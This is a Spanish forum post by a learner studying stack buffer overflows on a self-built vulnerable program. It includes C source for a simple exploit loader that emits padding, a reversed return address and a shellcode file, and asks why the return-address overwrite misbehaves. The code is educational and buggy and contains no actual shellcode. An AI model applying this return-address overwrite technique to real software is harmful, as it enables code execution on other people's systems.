No puedo cambiar bien la direccion de retorno tras un buffer overflow en stack

Iniciado por harry_the_blogger, 1 Enero 2015, 21:54 PM

0 Miembros y 1 Visitante están viendo este tema.

harry_the_blogger

Hola, estoy tratando de aprender sobre los stack-based buffer overflows, y para ello he construido mi propio programa vulnerable. Estoy teniendo problemas. Estoy tratando de jugar con la direccion de retorno para hacer ejecutar funciones que nunca son llamadas. Pero no puedo conseguirlo bien.

El programa vulnerable, recibe una cadena desde el usuario de 16 bytes, y luego la copia en un buffer de 8 bytes usando strcpy. He escrito un exploit sencillo, al cual le indicas cuantos bytes inutiles deseas, y luego la direccion de retorno en hexadecimal.

Pero cuando sobreescribo la funcion de retorno, solo una funcion se ejecuta, las demas (sabiendo su direccion) no lo hacen. ¿Por que sucederá eso? ¿Puede alguien explicarme como sobreescribir bien la direccion de retorno?

Exploit.c

/*Simple Exploit loader

   usage: exploit.exe <trash_bytes> <ret addr>

   Recibe la cantidad de bytes inutiles necesario para desbordar el buffer
   y usa la direccion de retorno en hexadecimal, convertida a un binario
   plano en un int de 4 bytes, y enviado al revés (por ser little endian, o
  al menos eso pensé cuando lo cree)

*/

#include <stdio.h>
#include <stdlib.h>

union ret_addr{
   char bytes[4];
   unsigned int raw;
};

int load_file_on_buffer(char filename[], void **ptr_buffer_destiny){
   FILE *file_loaded;
   void *buffer_destiny;
   unsigned int file_size;

   file_loaded = fopen(filename, "rb");
   if(file_loaded == NULL)
       return 0;

   fseek(file_loaded, 0, SEEK_END);
   file_size = ftell(file_loaded);
   fseek(file_loaded, 0, SEEK_SET);

   buffer_destiny = (void *) malloc(file_size+1);
   *ptr_buffer_destiny = buffer_destiny;

   fread((char *) buffer_destiny, file_size, 1, file_loaded);
   buffer_destiny[file_size] = '\0';

   //printf("BEGIN DEBUG FILE\n");
   //printf("%s", buffer_destiny);
   //printf("\n\nEND DEBUG FILE\n");

   fclose(file_loaded);

   return file_size;

}

int main(int argc, char *argv[]){

   FILE *shellcode_file;
   char *shellcode;
   int file_size;

   int trash_bytes = atoi(argv[1]);
   union ret_addr ret_addr;
   ret_addr.raw = (unsigned int) strtol(argv[2], NULL, 16);

   int i = 0;
   for(i; i < trash_bytes; i++){
        printf("a");
   }

   if(argc == 3){
   printf("%c", ret_addr.bytes[3]);
printf("%c", ret_addr.bytes[2]);
printf("%c", ret_addr.bytes[1]);
printf("%c", ret_addr.bytes[0]);
}

   file_size = load_file_on_buffer("shellcode.bin", &shellcode);

   for(i = 0; i < file_size; i++){
        printf("%c", shellcode[i]);
   }

}


Gracias de antemano. No sé si habrá algo mal con mi exploit. Ya me he estado leyendo la stack y como funciona. Seguire buscando en internet....

EDIT 1:

Estoy jugando con un programa tipo TCP servidor hecho por mi mismo, y en vez de sobreescribir EIP, sobreescribo EDX. ¿Puede alguien decirme por qué? Gracias de antemano.
Vista mi blog es enriquemesa.blogspot.com